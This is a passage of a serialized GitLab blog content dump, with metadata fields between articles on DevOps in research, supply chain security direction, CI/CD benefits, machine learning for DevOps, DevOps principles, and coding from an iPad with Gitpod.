Research-DevOps alliance\n\nLet’s take a look at some examples, in addition to ESA mentioned at the outset. Researchers at MathWorks use DevOps tools workflows to perform requirements-based testing on an automotive lane-following system with Model-Based Design, as mentioned in this article [“Continuous Integration for Verification of Simulink Models”](https://www.mathworks.com/company/newsletters/articles/continuous-integration-for-verification-of-simulink-models-using-gitlab.html).\n\nData and code are stored in an SCM and then  are forked to a testing branch.  CI pipelines are used to run various experiements and  tests on the code. When a test-case failure is detected in a GitLab CI pipeline, the researchers create an Issue to track and discuss the bugfix. The bug is reproduced locally in MATLAB, the issue is fixed, and the tests are run locally. The changes are reviewed on the testing branch. These changes can be committed to the testing branch where the verify, test, and build process is repeated. Researchers then create a merge equest to send the changes of the test branch into the master branch and close the corresponding Issue.\n\nAccording to the authors, “CI is gaining in popularity and becoming an integral part of Model-Based Design”.  The benefits of using CI cited by the researchers include: repeatability, quality assurance, reduced development time, improved collaboration, and audit-ready code.\n\nThe Square Kilometre Array Organisation (SKAO) is leading the design of the globally distributed radio telescope SKA, using GitLab SCM and CI for scientific collaboration, development efficiency, and transparency. According to Lead Software Architect Marco Bartolini, “The large success is having been able to onboard code and software projects from many different organizations and with very different tools and technology into one single platform, easily. It was not a pain, and now we got it all under control. So that's brilliant.”\n\nThe sky is the limit for how DevOps is transforming the scientific research process – perhaps it could transform yours.  Vist [GitLab for Education Program](/solutions/education/) to learn more and watch our “GitLab for Scientific Research” video below.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4PRFhDIV_4Q\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Hans Reiners](https://unsplash.com/photos/lQGJCMY5qcM) on [Unsplash](https://unsplash.com/)\n",[4103,267,2705],{"slug":15288,"featured":6,"template":678},"devops-and-the-scientific-process-a-perfect-pairing","content:en-us:blog:devops-and-the-scientific-process-a-perfect-pairing.yml","Devops And The Scientific Process A Perfect Pairing","en-us/blog/devops-and-the-scientific-process-a-perfect-pairing.yml","en-us/blog/devops-and-the-scientific-process-a-perfect-pairing",{"_path":15294,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15295,"content":15301,"config":15305,"_id":15307,"_type":16,"title":15308,"_source":17,"_file":15309,"_stem":15310,"_extension":20},"/en-us/blog/gitlab-supply-chain-security",{"title":15296,"description":15297,"ogTitle":15296,"ogDescription":15297,"noIndex":6,"ogImage":15298,"ogUrl":15299,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15299,"schema":15300},"Introducing GitLab’s supply chain security direction and landscape","Learn about software supply chain security at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667466/Blog/Hero%20Images/GitLab-Sec.png","https://about.gitlab.com/blog/gitlab-supply-chain-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab’s supply chain security direction and landscape\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam White\"}],\n        \"datePublished\": \"2022-02-15\",\n      }",{"title":15296,"description":15297,"authors":15302,"heroImage":15298,"date":15284,"body":15303,"category":299,"tags":15304},[8548],"\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in the blog post and linked pages are subject to change or delay. The development, release, and timing of products, features, or functionality remain at the sole discretion of GitLab, Inc._ \n\nWe would like to introduce you to our software supply chain security [direction](/direction/supply-chain/) and landscape.\n\nAn emerging concern in the software development space is being able to document the entire supply chain and development progress by creating a chain of custody starting from code creation, build, test, package, and going through deployment. \n\nGitLab's software supply chain security (SSCS) vision includes everything needed to securely deliver and run software with a high degree of confidence that not only your software, but also its surrounding cloud-native infrastructure, has not been compromised. \n\nIn the long-term, our strategy is to become a complete provider for all aspects of SSCS. Providing all of these aspects within a single application not only supports GitLab's broader Single Application Strategy but also provides numerous tangible benefits for users.\n\nAmong other things, using a single application:\n\n1. Minimizes the number of different tools that need to be hardened and monitored.\n1. Reduces the number of potential points of security failure as data is transferred between various tools.\n1. Enables seamless interoperability.\n1. Simplifies visibility and traceability for audits.\n\n## GitLab SSCS Framework\n\nGitLab has put together a framework describing the various aspects that are required to accomplish this based on feedback from customers and inspiration from common standards (such as [SLSA](https://slsa.dev/)), as well as thought leadership from industry analysts. Please note, however, that this framework is not necessarily representative of any other entity's opinion or perspective on the SSCS space.\n\nWe believe that there are five main aspects to consider when providing for a secure, end-to-end software supply chain.\n\n1. **Source** - includes the controls needed to be confident that both internal and external source code is safe from vulnerabilities and has not been compromised in any way.\n1. **Build** - includes rigorous requirements for the security and isolation of build environments as well as the automatic generation of provenance.\n1. **Consumption** - includes the ability to validate authenticity and source of any executed binaries. Supports requirements for securing the underlying host infrastructure itself.\n1. **Management Process** - spans across all other aspects of SSCS and includes both the tools and processes necessary to provide for ongoing visibility into SSCS continuous compliance requirements.\n1. **Tool Security** - spans across all other aspects of SSCS and includes the adoption of best practices for managing the security of the underlying tools themselves.\n\nYou can learn more about the SSCS framework in our [direction](/direction/supply-chain/).\n\n### GitLab helps keep your software supply chain secure\n\nGitLab has [numerous capabilities that support continuous compliance](/blog/gitlabs-newest-continuous-compliance-features-bolster-software/) and a secure software supply chain. Our newly released [“Guide to Software Supply Chain Security”](https://page.gitlab.com/resources-ebook-software-supply-chain-security.html) explains the urgency of protecting the supply chain now and also describes how this can be done while using GitLab.\n\nGitLab is a platform that [plays well with others](/handbook/product/gitlab-the-product/#plays-well-with-others) and can work together with other best-in-class security tools to provide complete end-to-end chain of custody throughout the development and deployment process. GitLab's vision is to partner closely with leading technologies in this space to provide an integrated, turnkey experience for end users.\n\n### What’s next\n\nAs a single DevOps platform, there are many opportunities to rise to the challenge of creating transparency around software components and artifacts. We welcome feedback on our [current position and vision](/direction/supply-chain/#current-position-and-vision) for the long-term direction of GitLab in SSCS. \n\nHere are a few of our near-term projects:\n\n- GitLab's [Runner Core](/direction/verify/runner_core/#strategic-priorities",[674,4103,754],{"slug":15306,"featured":6,"template":678},"gitlab-supply-chain-security","content:en-us:blog:gitlab-supply-chain-security.yml","Gitlab Supply Chain Security","en-us/blog/gitlab-supply-chain-security.yml","en-us/blog/gitlab-supply-chain-security",{"_path":15312,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15313,"content":15318,"config":15322,"_id":15324,"_type":16,"title":15325,"_source":17,"_file":15326,"_stem":15327,"_extension":20},"/en-us/blog/ten-reasons-why-your-business-needs-ci-cd",{"title":15314,"description":15315,"ogTitle":15314,"ogDescription":15315,"noIndex":6,"ogImage":9757,"ogUrl":15316,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15316,"schema":15317},"10 Reasons why your business needs CI/CD","Want to know why you should consider using CI/CD? Learn more here about the many business benefits of adopting a CI/CD workflow for you and your organization.","https://about.gitlab.com/blog/ten-reasons-why-your-business-needs-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"10 Reasons why your business needs CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-02-15\",\n      }",{"title":15314,"description":15315,"authors":15319,"heroImage":9757,"date":15284,"body":15320,"category":8943,"tags":15321},[11618],"\nThere’s no escape: Your company is in the software business, even if it’s not. \n\nCompetitors, customers, investors, and employees are all demanding updated software on a regular basis, alongside whatever products your organization creates.\n\nSo embrace the reality (and [DevOps](/topics/devops/)) and invest in creating the most efficient continuous integration and delivery pipelines possible. Not sure how to sell this strategy to management? Start by pointing out it’s likely your closest competitor is already taking advantage of [continuous integration/continous delivery](/topics/ci-cd/)(CI/CD). And if you need more ammunition, here are 10 reasons why your business needs CI/CD.\n\n## What is CI/CD?\n\nCI/CD is a two-step process that dramatically streamlines code development and delivery using the power of automation. CI makes developer tasks like source code integration and version control more efficient so software can get into production faster. CD automates software testing and deployment. Together, CI/CD is a powerful and unmatched engine of modern software development and it has untold benefits for businesses.\n\n## What are the CI/CD benefits for business?\n\nCI/CD has numerous benefits for business. Here are 10 reasons to adopt CI/CD: \n\n* Ensure superior code quality\n\nIn our [2021 Global DevSecOps Survey](/developer-survey/), participants told us the number one reason to do DevOps is for code quality and, of course, the number one process teams need for DevOps is CI/CD. Because CI/CD pipelines offer test automation, developers can know about code problems nearly in real time. That concept of “failing fast” means teams aren’t wasting time or resources with buggy code, and devs aren’t plagued with endless “fix” requests when they’ve moved on to other projects. Time is saved, money is saved, and developers aren’t endlessly context switching… win, win, win.\n\n* Deliver faster with an accelerated release rate\n\nSkeptics about the benefits of CI/CD need only hear about global financial firm Goldman Sach’s success story: It’s Technology Division went from [one code build every two weeks to over 1,000 builds per day](/customers/goldman-sachs/). A unified CI/CD pipeline is like a turbo engine when it comes to boosting the rate of software releases. The faster code is released, the more new code can be developed, and then released, ad infinitum. The business bottom line: Expensive developer resources aren’t sitting idle when a successful CI/CD pipeline is in play.\n\n* CI/CD pipelines: Automation reduces the cost\n\nAnytime a human does not have to intervene in the software development process, time, and thus money, are saved. That’s why automation is the underpinning to successful DevOps practices. CI/CD automates the handoffs, the source code management, the version control system, the deployment mechanisms, and, of course, so much of the testing. \n\nOf all those, [testing](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/) is arguably the most important. In our 2021 survey, testing was identified as the number one reason releases were delayed. Not only do delayed releases impact the business from a cost, branding, public relations, and even a reputation perspective, they are deadly to businesses relying on speedy time-to-market. Historically software testing was manual and incredibly time-consuming, which is why companies only released new code once or twice a year. In today’s world, companies have to release all the time, and automated software testing is critical to making that possible.\n\n* Fault isolation\n\nBefore DevOps and CI/CD gained traction in software development, development teams would know there was an issue with code, but would struggle to know exactly *where* the problem was happening. CI/CD and its automated testing has changed that. Developers can easily identify and then isolate code faults, dramatically improving productivity. \n\n* Simplified rollback\n\nA CI/CD pipeline gives developers the power to fail fast and recover even faster. It’s a simple process to push code into production and, if there are issues, simply roll it back. The ability to easily rollback code saves teams time, energy, and resources and leads to faster fixes of problem code. \n\n* Continuous feedback\n\nA unified CI/CD process, operating as part of a DevOps platform, gives everyone on the team – including business stakeholders – a way to see what’s happening, where it’s happening, and what might be going wrong. This sounds like a simple thing, but in reality, a single window into software development is almost revolutionary.\n\nIn the past, there were simply _so many tools_ in play that a project manager might have to look in a number of places, and ask a number of people, to get status updates. Developers and operations pros fared no better. Obviously that was a waste of time and resources, particularly when problems arose. \n\n* Optimum transparency and accountability\n\nThanks to continuous feedback, a CI/CD pipeline makes the entire software development process completely transparent to the business side. Product managers can check project status in a glance and track accountability as needed. \n\n* Improved mean time to resolution (MTTR)\n\nThanks to the visibility provided by a CI/CD pipeline, DevOps teams see issues quickly and can fix them fast. The ability to rapidly resolve problems lies at the heart of a key development metric: mean time to resolution, or MTTR. The better the MTTR, the more efficiently the DevOps team is working and the more quickly software can be released; in other words, MTTR has a direct effect on a business’s bottom line. \n\n* Monitoring metrics data\n\nTeams and the business side need to know how code is functioning in the real world, but in traditional software development practices monitoring metrics are often absent. In an ideal world, teams would know there was a code problem and roll it back long before end users realized it. A CI/CD pipeline makes that “ideal world” a reality by [delivering continuous feedback on a variety of metrics](https://about.gitlab.com/topics/ci-cd/continuous-integration-metrics/). Access to metrics data is more than just a time-saver, however, as no organization wants to be associated with bug-ridden code and applications that don’t perform well. \n\n* Reduction of non-critical defects in backlog\n\nBy now it’s clear CI/CD is a time and money saver, so much so that it gives developers time to work on things they wouldn’t normally be able to, such as going back to fix older code and make it cleaner and more efficient. The idea that devs cannot only tackle the backlog (it’s called a backlog for a reason after all – who has time for this?), but also work on non-critical defects, is a game-changer brought to teams by DevOps and CI/CD.\n",[4103,110,2368],{"slug":15323,"featured":6,"template":678},"ten-reasons-why-your-business-needs-ci-cd","content:en-us:blog:ten-reasons-why-your-business-needs-ci-cd.yml","Ten Reasons Why Your Business Needs Ci Cd","en-us/blog/ten-reasons-why-your-business-needs-ci-cd.yml","en-us/blog/ten-reasons-why-your-business-needs-ci-cd",{"_path":15329,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15330,"content":15336,"config":15341,"_id":15343,"_type":16,"title":15344,"_source":17,"_file":15345,"_stem":15346,"_extension":20},"/en-us/blog/top-10-ways-machine-learning-may-help-devops",{"title":15331,"description":15332,"ogTitle":15331,"ogDescription":15332,"noIndex":6,"ogImage":15333,"ogUrl":15334,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15334,"schema":15335},"Top 10 ways machine learning may help DevOps","Is machine learning part of your DevOps plan? Here are some ways ML could fit right in.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668426/Blog/Hero%20Images/retrospectivesgitlabpost.jpg","https://about.gitlab.com/blog/top-10-ways-machine-learning-may-help-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 10 ways machine learning may help DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-02-14\",\n      }",{"title":15331,"description":15332,"authors":15337,"heroImage":15333,"date":15338,"body":15339,"category":8943,"tags":15340},[711],"2022-02-14","_This post is meant as a general introduction to DevOps and machine learning, but does not represent GitLab’s roadmap with ModelOps. Read more about [our ModelOps plans](/blog/introducing-modelops-to-solve-data-science-challenges/)._\n\nLike a superhero’s cape, machine learning can enhance the innate powers of your DevOps program. \n\nYes, it’s early days, and no, machine learning can’t do everything you may want it to – yet. But if you [start using ML tools now](/topics/devops/the-role-of-ai-in-devops/), you’ll be poised to make it a full-fledged participant in your DevOps team as the technology continues to mature. Here are some things ML can help with today.\n\n1. **Make sense of your test data.** Whether it’s regression, unit, functional, or user acceptance testing, ML can help sort through the data generated from those tests, find patterns, figure out the coding problems that caused any bugs, and alert the troops. \n\n2. **Manage your help-desk alerts.** You can teach ML about the factors that make up different types of alerts and automatically route alerts to the best-qualified (mostly human) problem-solver, be it the service desk or a networking guru. Some ML systems can also fix problems without human intervention, based on rules you create.\n\n3. **Put the security into “DevSecOps.”** ML algorithms can, in real time, look through the massive amount of information generated from your security software and network logs and determine if there’s a breach long before a human could. The ML software compares the usual network-traffic baseline to what it’s seeing currently and detects when there’s an attack, or it can tell you if the amount of code in an app or system has suddenly grown to double its size when it shouldn’t have. ML can also triage the problems it finds, as well as take actions to correct security issues based on your guidelines. Further, ML tools can also help ensure your governance rules are followed and create a detailed audit trail.\n\n4. **Gather user requirements.** Natural language processing has come a long way, and can collect, validate, and track documents to streamline the process of figuring out what users are asking for. The technology can also help detect incomplete requirements or wonky timelines and can translate user wants and needs into highly technical project requirements. This makes the entire project-management process more efficient.\n\n5. **Help with pesky dev details.** No, not to replace developers, of course – at least not yet. But ML can learn from past apps you’ve created to recommend security guardrails and how to make software scale and perform better, among other things. Developers definitely see this trend coming, and in [GitLab’s 2021 Global DevSecOps Survey](/developer-survey/), around a third said that an understanding of AI or ML is the most important skill for their future careers. ML-powered code completion tools are already on the market, which provide suggestions for app developers.\n\n6. **Automate testing and create test data.** ML can automatically create the tests you need for QA and the test cases they’re based on, generate and manage test data, and automate code reviews. Natural language processing can help you review test cases and eliminate duplicates, as well as identify gaps in test coverage. Teams will continue to use machine learning models to [make test automation smarter](https://www.forrester.com/blogs/predictions-2021-software-developers-face-mounting-pressure/) , Forrester Research predicts.\n\n7. **Reduce complexity and allow better communication throughout the software chain.** ML can smooth out the rough edges among teams responsible for different parts of the process, and act as an Esperanto of sorts to allow people to speak to each other using the same language. No more, “It worked on my machine.” \n\n8. **Save time on manual provisioning.** Sure the cloud makes this easier, but ML can provision what it thinks you’ll need before you actually need it. \n\n9. **Improve software and product quality.** ML can help find issues like resource leaks, wasted CPU cycles, and other problems, so you can optimize your code before it hits production. At Facebook, [a bug detection tool](https://www2.deloitte.com/us/en/insights/focus/signals-for-strategists/ai-assisted-software-development.html/#:~:text=AI%20is%20helping%20to%20make%20better%20software%20Professionals%20are%20using,in%20design,%20development,%20and%20deployment&text=Artificial%20intelligence%20isn't%20writing,develop%20and%20test%20custom%20software.) predicts defects and suggests remedies that prove correct 80% of the time, Deloitte reports. And the IEEE ran a study from Google X about an ML method that [predicts failures of individual components](https://ieeexplore.ieee.org/document/7448033) that was “far more accurate than the traditional MTBF approach.” \n\n10. **Integrate your workflows and allow continuous improvement.** Some DevOps teams are using ML to analyze all development, operational, and test tools to find any gaps, as well as where pieces of the pipeline need to be better integrated and where APIs are still needed. ML algorithms can help teams figure out why some projects go very well, and others don’t. You can use ML to monitor your monitors and make sure they’re fully operational. Further, ML continues to learn from its training models – both the ones you provide and those it learns on its own as it goes – to continue to help you provide better products and services over time. And when you get down to it, isn’t that the whole point of technology?\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._",[4103,1207,8570,790],{"slug":15342,"featured":6,"template":678},"top-10-ways-machine-learning-may-help-devops","content:en-us:blog:top-10-ways-machine-learning-may-help-devops.yml","Top 10 Ways Machine Learning May Help Devops","en-us/blog/top-10-ways-machine-learning-may-help-devops.yml","en-us/blog/top-10-ways-machine-learning-may-help-devops",{"_path":15348,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15349,"content":15355,"config":15360,"_id":15362,"_type":16,"title":15363,"_source":17,"_file":15364,"_stem":15365,"_extension":20},"/en-us/blog/4-must-know-devops-principles",{"title":15350,"description":15351,"ogTitle":15350,"ogDescription":15351,"noIndex":6,"ogImage":15352,"ogUrl":15353,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15353,"schema":15354},"4 Must-know DevOps principles","Learn four key DevOps principles and why they are essential to successful development and deployment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665982/Blog/Hero%20Images/jpvalery-9pLx0sLli4unsplash.jpg","https://about.gitlab.com/blog/4-must-know-devops-principles","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 Must-know DevOps principles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-02-11\",\n      }",{"title":15350,"description":15351,"authors":15356,"heroImage":15352,"date":15357,"body":15358,"category":8943,"tags":15359},[711],"2022-02-11","The popular software development methodology [DevOps](/topics/devops/) can be a bit confusing to beginners, especially when it encompasses other areas such as security (DevSecOps), business (BizDevOps), and the like. \n\n## So what is DevOps?\n\nDevOps takes two previously separated teams – software development and IT operations – and turns them into one united front that creates secure code while speeding up the software development lifecycle. DevOps fundamentals include a collaborative and communicative culture, automated testing, releases and deployments, and frequent iteration. Another commonly used term in the DevOps space is [DevSecOps](https://about.gitlab.com/topics/devsecops/), which refers to a DevOps practice with a specific emphasis on security.\n\nWhat matters is what’s at the heart of the DevOps methodology – these four key principles that can improve your organization’s software development practice.\n\n1. Automation of the software development lifecycle\n2. Collaboration and communication\n3. Continuous improvement and minimization of waste\n4. Hyperfocus on user needs with short feedback loops\n\n## An examination of key DevOps principles\n\nRoughly 15 years ago, the idea emerged to bring development and operations together in a seamless fashion. In 2009, the term “DevOps” was coined by Patrick Debois, who is considered one of the methodology’s primary gurus. DevOps includes a lot of the principles of [Agile software development](/topics/agile-delivery/), but with a special emphasis on breaking down development and operations silos. \n\nDevOps has continued to grow in popularity since that time, from small businesses to enterprises with legacy systems and nearly every size company in between. Like almost anything else, DevOps can adapt to an organization’s unique needs and environment, adjusting to what’s most important to the business. \n\nAs such, it’s possible to find many different flavors of DevOps, though, at their core, each has the following 4 must-know principles in place:\n\n### Automation of the software development lifecycle\n\nThe North Star for all DevOps teams is automation. Before DevOps, software development was a very manual effort requiring human involvement (and physical handoffs) at every stage of the process. All of this human involvement meant companies were lucky to update or release new code once a year, and many were on an 18- or 24-month release cadence. \n\nToday so-called [“elite DevOps teams”](/blog/how-to-make-your-devops-team-elite-performers/) release code many times a day – and they’re able to do that largely because of automation. \n\nTo understand the power and importance of automation in DevOps, consider software testing, an often overlooked and unappreciated step that is regularly scapegoated for causing release delays. There’s no question software testing is critical; without testing companies risk releasing broken or actually even unsafe code. \n\nBut testing is perhaps the most hands-on of all the steps in DevOps, requiring people to write test cases, run myriad tests, analyze the results, and then circle back with developers for fixes. That’s all a long way of saying [there’s a reason teams point to testing](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/) as the number one reason code isn’t released on time.\n\nEnter automation and the idea that the most basic software tests could happen as the code is written. Test automation dramatically speeds up the entire process and frees software testers to look for potentially more damaging code quality issues. \n\nAlthough testing is one of the most dramatic automation “wins” in DevOps, it’s far from the only one. [Continuous integration](/topics/ci-cd/) automates the process of moving new code into existing code, while [continuous deployment](/blog/how-to-keep-up-with-ci-cd-best-practices/) helps automate releases. And [Infrastructure as Code](/topics/gitops/infrastructure-as-code/) makes it easy to automate the process of provisioning developer environments. \n\n### Collaboration and communication\n\nA good DevOps team has automation, but a top-notch DevOps team also has collaboration and communication. The basic idea of bringing dev and ops together (as well as sec, test, stakeholders, etc.) hinges on teams being able to collaborate. And that can’t happen if there isn’t clear and regular communication.\n\nThis sounds like a deceptively simple principle of DevOps, but, like most things, the devil is in the details. Devs want to write code and move it along into the world; ops professionals focus on tools, compliance, and the cloud; and the security team wants to ensure the code is safe. Dev, ops, and sec don’t have the same priorities, might not speak the same “language,” and are likely to approach problem-solving from very different perspectives. A case in point: [Dev and sec still don’t really get along](/blog/developer-security-divide/), in part because the communication and collaboration gap remains wide.\n\nIt takes effort to bring teams together and often [out-of-the-box thinking](/blog/want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together/). And in one of those \"chicken and egg\" situations, teams need to communicate for successful DevOps, but DevOps itself can lead to better communication, and happier developers, according to findings in our [2021 Global DevSecOps Survey](/developer-survey/).\n\n### Continuous improvement and minimization of waste\n\nLeaning heavily on earlier software development methodologies, including [Lean](https://searchsoftwarequality.techtarget.com/definition/lean-programming) and Agile, DevOps also focuses on reducing waste and continuous improvement. Whether it’s automating repetitive tasks like testing so as not to waste time, or reducing the number of steps required to release new code, well-functioning DevOps teams continue to measure performance metrics to determine areas that need improvement. \n\nExpect teams to strive [to continuously improve release times](/blog/why-improving-continuously-speeds-up-delivery/), reduce the [mean-time-to-recovery](https://pipelinedriven.org/article/devops-metric-mean-time-to-recovery-mttr-definition-and-reasoning), and number of bugs found, in addition to a number of other metrics. \n\n### Hyperfocus on user needs with short feedback loops\n\nThe final must-know DevOps principle is the importance of bringing the actual user into every step of this process. Through automation, improved communication and collaboration, and continuous improvement, DevOps teams can take a moment and focus on what real users really want, and how to give it to them. There’s no question that finding a way into the user mind is quite tricky, and [teams can struggle to implement processes](/blog/journey-to-the-outer-loop/) to achieve this. \n\nThe other difficult piece of this is that user feedback, once gathered, must be delivered quickly so time isn’t wasted. That’s why short feedback loops are critical, and why teams need to [put energy into making them even shorter](/blog/journey-to-the-outer-loop/) as time goes on. \n\n## Benefits of a DevOps model and practices\n\nWhat happens if teams do DevOps right? In our 2021 survey, 60% of developers told us they were releasing code at least 2x faster, thanks to DevOps. Other benefits of a DevOps model include improved code quality, faster time to market, and better planning. \n\nAnd for bonus points, survey takers told us that having a successful DevOps practice also made for happier developers, and there’s [scientific data](/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen/) that shows happier devs are more productive. \n\n## What are some challenges of implementing DevOps?\n\nDevOps can be challenging in the begining, particularly if it’s the first time being implemented within an organization. Here are some of the challenges of implementing DevOps. \n\n* **Breaking down the silos.** It may be difficult to break the mentality of development and operations being separate entities. Gather a basic understanding of the roles and responsibilities of a combination DevOps team.\n\n* **Understanding the jargon.** DevOps comes with a lot of shorthand, tech jargon, and SO many acronyms, like CI/CD. Take some time to study and remember that learning on the go is entirely normal and acceptable. \n\n* **Migrating from legacy software.** DevOps can be especially tricky for teams trying to migrate legacy software. Many tools designed for DevOps don’t work with mainframes (as one example) and integrations can be challenging even for experienced DevOps pros. It also doesn’t help that there’s a shortage of mainframe and other legacy programmers.\n\n* **Too many tools.** Teams spend so much time integrating and maintaining tools it’s getting in the way of actually developing, releasing and monitoring code. This is commonly known as the “toolchain tax.”\n\n* **Taming the learning curve frustration.** DevOps is complicated, and learning how it works is a marathon, not a sprint. Practice patience and grace with the team as implementation goes forward and rely on any resources available, such as help documentation and platform representatives – and sometimes plain old trial and error.\n\n## How to get started with DevOps in your organization\n\nWhen preparing to get started with DevOps, the following preperation is required:\n\n1. Map out the goals behind DevOps implementation.\n2. Clarify the roles and responsibilities of each stakeholder involved.\n3. Start basic and grow with experience.\n4. Plam to automate as much as possible.\n5. Plan your toolchain (and remember, toolchains can always be altered).\n6. Set up regular progress checkpoints.\n7. Be prepared to constantly iterate (but after giving something enough time to prove that iterating is necessary). \n\n## What is the future of DevOps?\n\nDevOps adoption and success experienced an enormous “jumpstart” thanks to the global pandemic. Teams moved past some of the cultural “how do we work together?” issues and matured into the “how do we adopt the right technologies?” mindset, based on results from our survey. Use of advanced technologies, including Kubernetes, [DevOps platforms](/topics/devops-platform/), and artificial intelligence (AI)/machine learning (ML) give hints as to what the future of DevOps looks like. \n\nIt’s safe to expect increased automation, smarter AI/ML-powered decision making (starting in places like [code review](/blog/the-road-to-smarter-code-reviewer-recommendations/) and a more thoughtful choice of tools, such as continuing adoption of DevOps platforms to streamline the process.",[4103,2368,232],{"slug":15361,"featured":6,"template":678},"4-must-know-devops-principles","content:en-us:blog:4-must-know-devops-principles.yml","4 Must Know Devops Principles","en-us/blog/4-must-know-devops-principles.yml","en-us/blog/4-must-know-devops-principles",{"_path":15367,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15368,"content":15373,"config":15378,"_id":15380,"_type":16,"title":15381,"_source":17,"_file":15382,"_stem":15383,"_extension":20},"/en-us/blog/how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod",{"title":15369,"description":15370,"ogTitle":15369,"ogDescription":15370,"noIndex":6,"ogImage":14039,"ogUrl":15371,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15371,"schema":15372},"How to code, build, and deploy from an iPad using GitLab and Gitpod","Senior Developer Evangelist Brendan O'Leary tackles the challenge of doing DevOps from a tablet.","https://about.gitlab.com/blog/how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to code, build, and deploy from an iPad using GitLab and Gitpod\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-02-10\",\n      }",{"title":15369,"description":15370,"authors":15374,"heroImage":14039,"date":15375,"body":15376,"category":734,"tags":15377},[11790],"2022-02-10","\n\nAs a software engineer, it can be tough to go all-in on just using an iPad for your daily driver. So when Apple announced the M1 chip-based iPads, I, along with many techies, got excited to see if we'd finally get things like a proper terminal on the iPad. But that still isn't the use case that the iPad solves. I remained determined to be able to *code* from mine. So I hooked up my magic keyboard and fired up Gitpod to code and GitLab to build and deploy an app from scratch... all from my iPad.\n\n## Getting started\n\nLike any of [my projects](/blog/introducing-auto-breakfast-from-gitlab/), the first thing I needed was inspiration. I had promised my colleague [Pj](https://brendan.fyi/pj) for some time that I would review [his blog](https://brendan.fyi/pj-twitter-blog) on how to make a Twitter bot like all of the fantastic ones he built while breaking into tech. Combine the need to learn the Twitter API to provide an excellent review with my love of Elton John's music, and I had it: I'd make a Twitter bot that tweeted every morning at 4:00 am (as an homage to the line in “Someone Saved My Life Tonight”).\n\nArmed with my newfound inspiration, I ran to gitlab.com in Safari (on my iPad, obviously) and created a new, blank GitLab project.\n\n![ipad on desk](https://about.gitlab.com/images/blogimages/brendanipad1.png){: .shadow}\n\n## Coding on the iPad\n\nOnce I had the new project, getting started on Gitpod was as easy as clicking the \"Gitpod\" button on GitLab to open my repository in Gitpod.\n\nGitpod enables you to access an entire development environment from any browser. By default, you get a container with many development tools (Node, Ruby, OpenJDK, etc.). But you can also choose [your own container](https://www.gitpod.io/docs/config-docker) as a starting point with a .gitpod.yml… but we'll talk about that later.\n\nThe environment is presented to you as a VS Code interface – where you can open, edit, and add files just as you'd expect. You can also access the terminal just like you would in VS Code and install anything you might need to get your project running.\n\nIn this example, I decided to build the Twitter bot in Node.js, so I initialized a new Node project and installed the packages I'd need with:\n\n```bash\nnpm init -y\nnpm install express twit node-schedule dotenv\n```\n\n## Running your app\n\nOnce I had some code running – just the [Express sample app](https://expressjs.com/en/starter/hello-world.html) that says Hello World – running the app was just as easy as if I was going to run it on my laptop:\n\n```bash\nnpm dev\n```\nNot only did that run my code to connect to the Twitter API, wait until 4:00 a.m. (UTC), and then tweet to let everyone know it was 4:00 a.m., but it also shows this relative to my Express app:\n\n![Express app](https://about.gitlab.com/images/blogimages/brendanipad3.png){: .shadow}\n\nThat allows me to preview my [website for the app](https://brendan.fyi/4oclock) while I'm coding it. This is a massive benefit because it means I can have two tabs open on the iPad – one with Gitpod and my code and another with the website as I change it. Or I can even use split-screen on the iPad to have them side-by-side like I might if I was at my desk at my \"normal\" setup. And there's even a button to make the site available publically so I could share it with my team and show them what I'm working on (as long as my Gitpod workspace is running).\n\nNow, when it comes to coding the rest of the Twitter bot, I used the previously mentioned [tutorial](https://brendan.fyi/pj-twitter-blog) from my colleague [Pj](https://brendan.fyi/pj). So I won't go into detail on the actual coding of the app – you can find the [code](https://gitlab.com/brendan-demo/4oclock), [website](https://brendan.fyi/4oclock), and [Twitter bot](https://twitter.com/DammitOclock) if you want to learn more about the app itself. But to deploy the website and the bot, I needed something else: [GitLab CI/CD](https://docs.gitlab.com/ee/ci/).\n\n## Deploying the app\n\nCombining GitLab CI/CD and GitLab.com's SaaS offering with Gitpod meant that I 